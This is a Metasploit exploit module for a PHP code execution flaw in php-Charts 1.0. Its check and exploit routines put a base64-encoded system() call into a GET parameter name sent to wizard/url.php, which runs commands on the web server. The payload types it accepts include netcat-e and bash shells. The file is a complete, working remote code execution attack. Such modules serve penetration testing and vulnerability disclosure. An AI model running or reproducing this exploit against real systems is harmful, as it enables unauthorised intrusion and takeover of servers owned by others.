PHP-Charts 1.0 - PHP Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
			'Description'    => %q{
				This module exploits a PHP code execution vulnerability in php-Charts
				version 1.0 which could be abused to allow users to execute arbitrary
				PHP code under the context of the webserver user. The 'url.php' script
				calls eval() with user controlled data from any HTTP GET parameter name.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AkaStep', # Discovery and PoC
					'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
				],
			'References'     =>
				[
					['OSVDB', '89334'],
					['BID', '57448'],
					['EDB',   '24201']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d\x22",
					'Compat'      =>
						{
						'PayloadType' => 'cmd',
						'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
						}
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 16 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer  = "#{rhost}:#{rport}"
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send check
		print_status("#{peer} - Sending check")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})

			if res and res.body =~ /#{fingerprint}/
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send payload
		print_status("#{@peer} - Sending payload (#{code.length} bytes)")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})
			if res and res.code == 500
				print_good("#{@peer} - Payload sent successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

	end
end